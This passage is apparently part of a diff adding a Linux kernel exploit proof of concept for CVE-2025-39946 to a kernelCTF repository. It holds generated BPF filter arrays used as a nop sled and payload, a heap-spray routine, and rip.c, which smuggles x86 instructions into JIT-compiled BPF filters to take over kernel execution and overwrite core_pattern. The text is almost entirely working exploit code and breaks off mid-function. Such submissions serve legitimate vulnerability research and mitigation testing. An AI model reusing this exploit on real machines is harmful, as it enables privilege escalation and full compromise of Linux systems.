0x72, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x71, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x70, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x69, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x68, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x67, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x66, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x65, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x64, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x63, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x62, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x61, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x60, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x59, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x58, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x57, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x56, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x55, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x54, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x53, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x41, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x40, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x34, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x33, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x32, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x31, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x30, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x2a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x29, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x28, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x27, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x26, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x25, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x24, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x23, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x22, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x21, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x20, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x19, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x18, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x17, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x16, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x15, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x14, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x13, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x12, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x11, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x10, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x0a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x09, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x08, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x07, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, +}; +const unsigned n_filter_padding = 511; +unsigned long gadget = 0xffffffffc05f405cull; + +int gadget_do_spray(void) { + int count = 0; + #define __do_spray(x) do {\ + count++; \ + if (spray_one_filter(x, sizeof(x) / sizeof(x[0])) < 0) \ + return -1;\ + } while (0) + for (unsigned i = 0; i < n_filter_padding; i++) + __do_spray(filter_padding); + for (int n = 0; n < 2; n++) { + for (int i = 0; i < 512 - 2 - 4; i++) + __do_spray(filter_nop_sled); + __do_spray(filter_nop_sled_final); + __do_spray(filter_payload); + } + return count; +} diff --git a/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/rip.c b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/rip.c new file mode 100644 index 000000000..952618836 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-39946_mitigation/exploit/mitigation-v3b-6.1.55/rip.c @@ -0,0 +1,1331 @@ +#include "rip.h" + +#include +#include +#include +#include +#include +#include + +#define ASSERT(x) ({ bool __res = (x); if (!__res) { fprintf(stderr, "assertion failure: %s\n", #x); abort(); }; __res; }) + +// +// Parameters +// +// environment restrictions +#define MAX_NUM_INSNS 0x1000 +#define OPTMEM_MAX 0x5000 + +// What is the return address from where we are being called? +static __u64 return_addr = 0xA0ffffff81000000; +// Where do we write the payload? &core_pattern +static __u64 target_addr = 0xB0ffffff83000000 - PAYLOAD_OFFSET; + +// Environment settings. For the spray to succeed we need proper alignment. +// How many bytes are allocated by the module allocator? +static unsigned long module_alloc_space_taken = 0; +// How many bytes are allocated in the last bpf jit pack? +static unsigned long bpf_jit_pack_space_taken = 0; + +// arbitrarily chosen, needs to fit into optmem_max +#define MSB_MAX 0x44 +_Static_assert(MSB_MAX < (OPTMEM_MAX >> 8), "invalid msb"); + +// choose some low value which is used as increment in the add/sub chain +// we do not choose 1 here because longer payloads will run into trouble +// when jumps in the beginning need to reference later jumps (where we have +// no flexibility in the current rather simple encoding algorithm) +// So choose some higher value which is not likely to interfere and hope +// for the best. Works (TM) +#define MSB_FIXUP 3 + +// Allocation size to assume for eBPF jit header and junk bytes that are unusable +// for us. This always gets aligned up to multiples of 64. It is a little less, +// leaving us a little bit of room for approximation errors. +#define HEADER_LEN 64 + +// Set this if you are debugging on nokaslr kernels +// #define NOKASLR_DEBUG + +// Set this if return thunks are enabled +#define X86_FEATURE_RETHUNK + +static void parse_opts(int argc, char** argv) { + int opt; + bool has_return_addr = false; + bool has_target_addr = false; + + while ((opt = getopt(argc, argv, "r:t:m:p:")) != -1) { + switch (opt) { + case 'r': + return_addr = strtoul(optarg, NULL, 16); + has_return_addr = true; + break; + case 't': + target_addr = strtoul(optarg, NULL, 16) - PAYLOAD_OFFSET; + has_target_addr = true; + break; + case 'm': + module_alloc_space_taken = strtoul(optarg, NULL, 16); + break; + case 'p': + bpf_jit_pack_space_taken = strtoul(optarg, NULL, 16); + break; + default: + usage: + fprintf(stderr, "usage: %s -r -t [-m ] [-p ]\n", argv[0]); + exit(1); + } + } + + if (!has_return_addr || !has_target_addr) + goto usage; + + ASSERT((return_addr & 0xFFFFFFFF00000000) == (target_addr & 0xFFFFFFFF00000000) && "we write only 4 bytes"); +} + +// +// +// + +typedef __u8 u8; +typedef __u16 u16; +typedef __u32 u32; +typedef __u64 u64; + +#define LEN(x) (sizeof(x) / sizeof(x[0])) + +#define MAX(a, b) ((a) > (b) ? (a) : (b)) +#define MIN(a, b) ((a) < (b) ? (a) : (b)) + +// 2-byte instruction. Mostly used as no-op padding to fix alignment +#define __add_al(x) (0x04 | (((x) & 0xFF) << 8)) +// +#define mov_eax_0xe90000XX(XX) ((((XX) & 0xFF) << 8) | 0xb8) +#define xor_eax_0xe90000XX(XX) ((((XX) & 0xFF) << 8) | 0x35) +#define add_eax_0xe90000XX(XX) ((((XX) & 0xFF) << 8) | 0x05) +#define sub_eax_0xe90000XX(XX) ((((XX) & 0xFF) << 8) | 0x2d) + +// or r8d, dword ptr [rax] 44 0b 00 +#define or_r8d_RAX() (0x000b44) +// add r8d, dword ptr [rax] 44 03 00 +#define add_r8d_RAX() (0x000344) +// add dword ptr [rax], r8d 44 01 00 +#define add_RAX_r8d() (0x000144) + +#define push_rsp() (0x54 | (__add_al(0) << 8)) +#define push_rbp() (0x55 | (__add_al(0) << 8)) +#define push_rax() (0x50 | (__add_al(0) << 8)) +#define push_rdx() (0x52 | (__add_al(0) << 8)) +#define pop_rbp() (0x5d | (__add_al(0) << 8)) +#define pop_rax() (0x58 | (__add_al(0) << 8)) +#define pop_rdx() (0x5a | (__add_al(0) << 8)) + +// will terminate the chain +#define __fnsave_RAX() (0x30dd) + +// add [rbp], eax +#define add_RBP_eax() (0x4501) +// sub [rbp], eax +#define sub_RBP_eax() (0x4529) + +#define ret() (0xc3) + + +static unsigned mov_byte_into_eax(u32* offsets, unsigned i, u8 byte) { + offsets[i++] = mov_eax_0xe90000XX(MSB_MAX); + u32 eax = 0xe9000000 | MSB_MAX; + do { + u8 lsb = (u8)(eax & 0xFF); + if (eax > 0xFF /*MSB fixup required*/) { + u8 rest = lsb ^ byte; + if (rest <= MSB_MAX) { + // try to do short XOR encoding if possible + offsets[i++] = xor_eax_0xe90000XX(rest); + eax ^= 0xe9000000 | rest; + } else if (lsb > byte) { + u8 diff = lsb - byte; + ASSERT(diff <= MSB_MAX); + + offsets[i++] = sub_eax_0xe90000XX(diff); + eax -= 0xe9000000 | (u32)diff; + } else { + offsets[i++] = sub_eax_0xe90000XX(MSB_FIXUP); + eax -= 0xe9000000 | MSB_FIXUP; + } + } else { + if (lsb < byte) { + u8 diff = (byte - lsb) + MSB_FIXUP /*reserve for MSB fixup*/; + if (diff > MSB_MAX) + diff = MSB_MAX; + + offsets[i++] = add_eax_0xe90000XX(diff); + eax += 0xe9000000 | (u32)diff; + } else { + offsets[i++] = add_eax_0xe90000XX(MSB_FIXUP); + eax += 0xe9000000 | MSB_FIXUP; + } + + } + + ASSERT(i <= MAX_NUM_INSNS); + } while (eax != (u32)byte); + + return i; +} + +#define INSN_START 0x20 +#define INSN_CONT 0x40 +#define INSN_OFF 0x80 + +// Instructions we use for padding. They need to fullfill the following properties: +// - low number of BPF instructions +// - high number of x86 instructions +// - have a stable length under sysctl.net.core.bpf_jit_harden=1 +// +// Rationale: Filter sizes are checked against optmem_max and this is estimated +// based on number of _BPF_ instructions. So in order to squeeze the maximum number +// of padding out of instructions we want to have single BPF instructions that +// generate a lot more bytes than the estimate. +enum insn { + /* sorted by effective size */ + NEG, /* size = 2 */ + __INSN_MIN = NEG, + + SHL, /* size = 3 */ + STX, /* size = 4 */ + + DIV, /* size = 20, three instructions */ + MOD, /* size = 22, three instructions */ + + /* special instruction, requires extra care to be able to encode it but + provides best effective size by far */ + JEQ, /* size = 9 */ + + __INSN_MAX = JEQ, + + // additional special instructions not used for encoding + JMP, + RET, + +#ifdef X86_FEATURE_RETHUNK + // Sigh. On X86_FEATURE_RETHUNK ret sizes are not stable .. + FIRST_RET, +#else + FIRST_RET = RET, +#endif + + __INSN_LEN, + INVALID, +}; + +#ifdef X86_FEATURE_RETHUNK +#define RET_THUNK_ADD_SIZE 4 +#else +#define RET_THUNK_ADD_SIZE 0 +#endif + +static const unsigned insn_lengths[__INSN_LEN] = { + [NEG] = 2, + [SHL] = 3, + [STX] = 4, + + [JEQ] = 9, + + /* A note on div/mod: They get re-written into three instructions because of + constant blinding. opt-mem charges a flat 8 bytes per instruction, thus they + are sadly only slightly better than the smaller instructions */ + [DIV] = 20, + [MOD] = 22, + + [JMP] = 5, + [RET] = 5, /* assuming LD_IND was not used, both for back + jumps and the epilogue generated first */ +#ifdef X86_FEATURE_RETHUNK + [FIRST_RET] = 5 + RET_THUNK_ADD_SIZE /*offset of jump to thunk*/, +#endif +}; + + +static unsigned __total_size(struct sock_filter* filter, unsigned len) { + unsigned size = 0; + bool seen_ret = false; + + for (unsigned i = 0; i < len; i++) { + switch (filter[i].code) { + case BPF_ALU | BPF_NEG: + size += insn_lengths[NEG]; + break; + case BPF_ALU | BPF_LSH | BPF_K: + size += insn_lengths[SHL]; + break; + case BPF_STX: + size += insn_lengths[STX]; + break; + case BPF_JMP | BPF_JEQ | BPF_X: + size += insn_lengths[JEQ]; + break; + case BPF_ALU | BPF_DIV | BPF_K: + size += insn_lengths[DIV]; + break; + case BPF_ALU | BPF_MOD | BPF_K: + size += insn_lengths[MOD]; + break; + case BPF_RET | BPF_A: + seen_ret = true; + size += insn_lengths[RET]; + break; + case BPF_JMP | BPF_JA: + // this is not entirely correct, but we do not use the short jumps often + size += insn_lengths[JMP]; + break; + case BPF_ALU | BPF_RSH | BPF_K: + size += 2; + break; + default: + fprintf(stderr, "[warning] size calculation: unknown instruction 0x%x. assuming size = 4\n", filter[i].code); + size += 4; + break; + } + } + + if (seen_ret) + size += RET_THUNK_ADD_SIZE; + + return size; +} + + +struct map_entry { + u8 flags; + u8 insn; + union { + u16 i; // bpf instruction index if this is not a jump + u16 off; // jump offset if this is a jump instruction + }; +} __attribute__((__packed__)); + +// Find a sequence of BPF instructions that will be of the given length +static bool find_minimal_encoding(struct map_entry* seq, u32 length, bool allow_jeq) { + unsigned factors[__INSN_LEN + 2] = {}; + + if (length == 0) + return true; + + // This is not entirely correct and does not always find the minimum. But it + // is way simpler than a proper optimization so we go with it. + + u32 left = length; + _Static_assert(JEQ == __INSN_MAX, "assuming JEQ is max"); + const int i_max = allow_jeq ? __INSN_MAX : (__INSN_MAX - 1); + int i = i_max; + + while (left != 0 && i <= i_max) { + const unsigned insn_len = insn_lengths[i]; + + if (i < __INSN_MIN) { + // backtrack + while (i <= i_max) { + i++; + if (factors[i]) { + factors[i] -= 1; + left += insn_lengths[i]; + break; + } + } + } else if (left >= insn_len) { + factors[i] = left / insn_len; + left = left % insn_len; + } else { + factors[i] = 0; + } + + i--; + } + + if (left == 0) { + unsigned seq_i = 0; + for (i = i_max; i >= __INSN_MIN; i--) { + unsigned factor = factors[i]; + while (factor--) { + ASSERT(seq[seq_i].insn == 0); + seq[seq_i].flags |= INSN_START; + seq[seq_i++].insn = i; + + for (unsigned n = 1; n < insn_lengths[i]; n++) + seq[seq_i++].flags |= INSN_CONT; + } + } + + return true; + } else { + return false; + } +} + +#define PRINT_FILTER(f) printf("\t{ .k = 0x%08x, .code = 0x%04x, .jt = 0x%02x, .jf = 0x%02x },\n", (f).k, (f).code, (f).jt, (f).jf) +#define OP(CODE, K) do { \ + filter[insn_i].k = K; \ + filter[insn_i++].code = (CODE); \ + ASSERT(insn_i < *filter_len); \ + } while (0) + +// Experimental overlapping encoding support +// If HOLE_PADDING_SLED == 1, we will fill additional hole bytes with a nop sled +// instead of the default minimal instruction encoding +#define HOLE_PADDING_SLED 1 +struct hole_opts { + u32 pad; + + const u32* offsets; + u32 n_offsets; + + struct map_entry* map; + struct map_entry* it; + + u32 seq_i; + u32 seq_remain; +}; +// Defines a desired hole to encode the given offsets into. PAD specifies +// the desired padding size before the payload. +#define HOLE_INIT(PAD, OFFSETS, N_OFFSETS) { \ + .pad = (PAD), \ + .offsets = (OFFSETS), \ + .n_offsets = (N_OFFSETS), \ + .map = NULL, \ + .it = NULL, \ + } + +struct map_entry* __encode_build_map(const u32* offsets, u32 n_offsets, u32* last) { + struct map_entry* map = calloc(OPTMEM_MAX, sizeof(struct map_entry)); + ASSERT(map != NULL); + + *last = 0; + for (unsigned i = 0; i < n_offsets; i++) { + unsigned off = offsets[i]; + + const unsigned len = insn_lengths[JMP]; + + // need this to ensure proper encoding into a long jump + ASSERT(off > 123 + len); + + struct map_entry* e = &map[i * len]; + e->flags |= INSN_START; + e->insn = JMP; + e->off = off + len; + for (unsigned n = 1; n < len; n++) + e[n].flags |= INSN_CONT; + + *last = i * len + len; + + // offset is relative to following instruction + fprintf(stderr, "jmp %u at %04x with offset %04x jumps to %04x\n", i, i * len, off, i * len + off + len); + ASSERT(i * len + off + len < OPTMEM_MAX); + e[off + len].flags |= INSN_OFF; + } + + return map; +} + +struct map_entry* __encode_map_next_seq(struct map_entry* map, u32* i, u32* seq_len) { + *seq_len = 0; + + for (; *i < OPTMEM_MAX; (*i)++) { + if (map[*i].flags & INSN_OFF) { + int bj = *i - 1; + for (; bj >= 0; bj--) { + if (map[bj].flags & (INSN_CONT | INSN_START)) + break; + } + bj++; + + *seq_len = (*i)++ - (unsigned)bj; + return &map[bj]; + } + } + + return NULL; +} + +static u32 __encode_into_hole(struct map_entry* seq, u32 length, struct hole_opts* opts, bool can_encode_je) { + if (!opts->map) { + // check if desired padding fits into hole + u32 pad = opts->pad + opts->n_offsets * insn_lengths[JMP]; + if (pad >= length + 2) + return length; + + fprintf(stderr, "encoding into hole of size %u with at least %u bytes for padding + jumps\n", length, pad); + + u32 last; + struct map_entry* map = __encode_build_map(opts->offsets, opts->n_offsets, &last); + + // offset the map for maximum padding + u32 i = 0; + u32 seq_len = 0; + u32 total_seq_len = 0; + struct map_entry* it = __encode_map_next_seq(map, &i, &seq_len); + while (it) { + if (pad + seq_len <= length) + total_seq_len = seq_len; + else + break; + + // note that because we do not fixup the instructions this + // will always report the full sequence length + it = __encode_map_next_seq(map, &i, &seq_len); + } + + + // encode whatever will not be filled by us + u32 rest = length - opts->n_offsets * insn_lengths[JMP] - total_seq_len; + fprintf(stderr, "filling padding of %u bytes\n", rest); + + // now either do this in the shortest way possible or fill with sled + #if HOLE_PADDING_SLED + const unsigned neg = insn_lengths[NEG]; + unsigned i_pad = 0; + if (rest % neg != 0) { + const unsigned shl = insn_lengths[SHL]; + _Static_assert(neg % 2 != shl % 2, "need odd instruction length"); + if (rest < shl) + return false; + + seq[i_pad].flags |= INSN_START; + seq[i_pad].insn = SHL; + for (unsigned n = 1; n < shl; n++) + seq[i_pad + n].flags |= INSN_CONT; + + i_pad += shl; + } + + if ((rest - i_pad) % neg) + return false; + + while (i_pad < rest) { + seq[i_pad].flags |= INSN_START; + seq[i_pad].insn = NEG; + for (unsigned n = 1; n < neg; n++) + seq[i_pad + n].flags |= INSN_CONT; + + i_pad += neg; + } + #else + if (!find_minimal_encoding(seq, rest, can_encode_je)) { + free(map); + return length; + } + #endif + + seq += rest; + length -= rest; + + // now encode all the jumps + memcpy(seq, map, opts->n_offsets * insn_lengths[JMP] * sizeof(*map)); + seq += opts->n_offsets * insn_lengths[JMP]; + length -= opts->n_offsets * insn_lengths[JMP]; + + // now we can start with the rest + opts->map = map; + opts->seq_i = 0; + opts->seq_remain = 0; + opts->it = __encode_map_next_seq(opts->map, &opts->seq_i, &opts->seq_remain); + if (opts->it) { + // set this dummy encoding on the last instruction to allow iteration to continue + for (unsigned i = 0; i < opts->seq_remain; i++) { + opts->it[i].flags |= INSN_CONT; + } + } + } + + while (length > 0 && opts->seq_remain > 0) { + u32 seq_len = MIN(opts->seq_remain, length); + fprintf(stderr, "encoding %u/%u bytes into hole (length = %u)\n", seq_len, opts->seq_remain, length); + ASSERT(find_minimal_encoding(seq, seq_len, can_encode_je)); + + seq += seq_len; + length -= seq_len; + opts->seq_remain -= seq_len; + + if (opts->seq_remain == 0) { + opts->it = __encode_map_next_seq(opts->map, &opts->seq_i, &opts->seq_remain); + if (opts->it) { + // set this dummy encoding on the last instruction to allow iteration to continue + for (unsigned i = 0; i < opts->seq_remain; i++) { + opts->it[i].flags |= INSN_CONT; + } + } + } + } + + ASSERT(opts->it == NULL || length == 0); + return length; +} + +static unsigned __encode_translate_map(struct map_entry* map, unsigned map_len, struct sock_filter* filter, unsigned* filter_len, unsigned insn_i) { + unsigned errors = 0; + unsigned n_insn = 0; + for (unsigned j = 0; j < map_len; j++) { + if (map[j].flags & INSN_START) { + unsigned i = n_insn++; + + if (map[j].insn != JMP) + map[j].i = i; + } + + if (map[j].flags & INSN_OFF) { + if (!(map[j].flags & INSN_START)) { + fprintf(stderr, "failed to encode offset %u\n", j); + errors++; + } + } + + if ((map[j].flags & INSN_START) && (map[j].flags & INSN_CONT)) { + fprintf(stderr, "overlapping instructions at %u\n", j); + errors++; + } + } + + fprintf(stderr, "n_insn = %u\n", n_insn); + fprintf(stderr, "errors = %u\n", errors); + ASSERT(!errors); + + unsigned n_insn_unaccounted = 0; + + // encode all the other instructions + unsigned i_insn_inner = 0; + for (unsigned j = 0; j < map_len; j++) { + if (!(map[j].flags & INSN_START)) + continue; + + switch (map[j].insn) { + case NEG: + OP(BPF_ALU | BPF_NEG, 0); + break; + case SHL: + // need k > 1 to get the 3 byte instruction + OP(BPF_ALU | BPF_LSH | BPF_K, 2); + break; + case STX: + OP(BPF_STX, 0); + break; + case JEQ: { + // just jump furthest possible distance + // should be long enough because it is checked during encoding. + u32 jt = MIN(255, n_insn - 1 - i_insn_inner - 1); + filter[insn_i].jt = (u8)jt; + filter[insn_i++].code = BPF_JMP | BPF_JEQ | BPF_X; + ASSERT(insn_i < *filter_len); + break; + } + case DIV: + n_insn_unaccounted += 2; + OP(BPF_ALU | BPF_DIV | BPF_K, 0x11111111); + break; + case MOD: + n_insn_unaccounted += 2; + OP(BPF_ALU | BPF_MOD | BPF_K, 0x11111111); + break; + case RET: +#ifdef X86_FEATURE_RETHUNK + case FIRST_RET: +#endif + OP(BPF_RET | BPF_A, 0); + break; + case JMP: { + // need to find the correct jump offset + struct map_entry* e = map + j + map[j].off; + ASSERT(e->flags & INSN_START); + ASSERT(e->insn != JMP); // otherwise e->i would not be valid + + u32 k = e->i - i_insn_inner - 1; + OP(BPF_JMP | BPF_JA, k); + break; + } + default: + fprintf(stderr, "invalid instruction: %d\n", map[j].insn); + break; + } + + i_insn_inner++; + } + + fprintf(stderr, "translate map: number of instructions = %u (+%u)\n", i_insn_inner, n_insn_unaccounted); + return insn_i; +} + +static enum insn __suitable_ret(const struct sock_filter* filter, unsigned len) { + for (unsigned i = 0; i < len; i++) { + if (filter[i].code == (BPF_RET | BPF_A)) + return RET; + } + + return FIRST_RET; +} + +static unsigned __encode_offsets(struct sock_filter* filter, unsigned insn_i, unsigned* filter_len, const u32* offsets, unsigned n_offsets, enum insn final, struct hole_opts* hole_opts) { + unsigned last = 0; + struct map_entry* map = __encode_build_map(offsets, n_offsets, &last); + + // Add a ret right after the jump instructions here. So that we do not + // execute any of the filling instructions after we terminate the + // chain + map[last].flags |= INSN_START; + ASSERT(map[last].insn == 0); + map[last].insn = __suitable_ret(filter, insn_i); + for (unsigned i = 1; i < insn_lengths[map[last].insn]; i++) + map[last + i].flags |= INSN_CONT; + + unsigned max_off; + for (max_off = OPTMEM_MAX; max_off > 0; max_off--) { + if (map[max_off].flags & INSN_OFF) + break; + } + + unsigned seq_i = 0; + unsigned seq_len = 0; + last = 0; + struct map_entry* it = __encode_map_next_seq(map, &seq_i, &seq_len); + while (it) { + last = (unsigned long)(it - map) + seq_len; + fprintf(stderr, "encoding sequence [%04lx - %04x] (%u bytes)\n", (unsigned long)(it - map), last, seq_len); + bool can_encode_je = (max_off - last) > 127; + + if (hole_opts) + seq_len = __encode_into_hole(it, seq_len, hole_opts, can_encode_je); + + if (seq_len && !find_minimal_encoding(it, seq_len, can_encode_je)) { + fprintf(stderr, "could not find instruction sequence for %u bytes\n", seq_len); + ASSERT(false); + } + + it = __encode_map_next_seq(map, &seq_i, &seq_len); + } + + if (hole_opts) { + if (hole_opts->it) { + u32 remain = __encode_into_hole(&map[last], OPTMEM_MAX - last, hole_opts, false); + last += OPTMEM_MAX - last - remain; + ASSERT(!hole_opts->it); + } + + free(hole_opts->map); + } + + + map[last].flags |= INSN_START; + ASSERT(map[last].insn == 0); + map[last].insn = final; + + insn_i = __encode_translate_map(map, last + 1, filter, filter_len, insn_i); + free(map); + return insn_i; +} + +static unsigned __fill_to_size(struct sock_filter* filter, const unsigned* filter_len, unsigned insn_i, unsigned desired_size) { + unsigned size = __total_size(filter, insn_i) + HEADER_LEN; + ASSERT(size <= desired_size); + + // does a "good enough" approximation with minimal instructions + + // JEQ is best, but we need enough space + unsigned fixup_start = insn_i; + while ((desired_size - size) > 127) { + OP(BPF_JMP | BPF_JEQ | BPF_X, 0); + size += insn_lengths[JEQ]; + } + const unsigned fixup_end = insn_i; + + // fill rest with MODs and RETs + unsigned i; + for (i = 0; i < (desired_size - size) / insn_lengths[MOD]; i++) + OP(BPF_ALU | 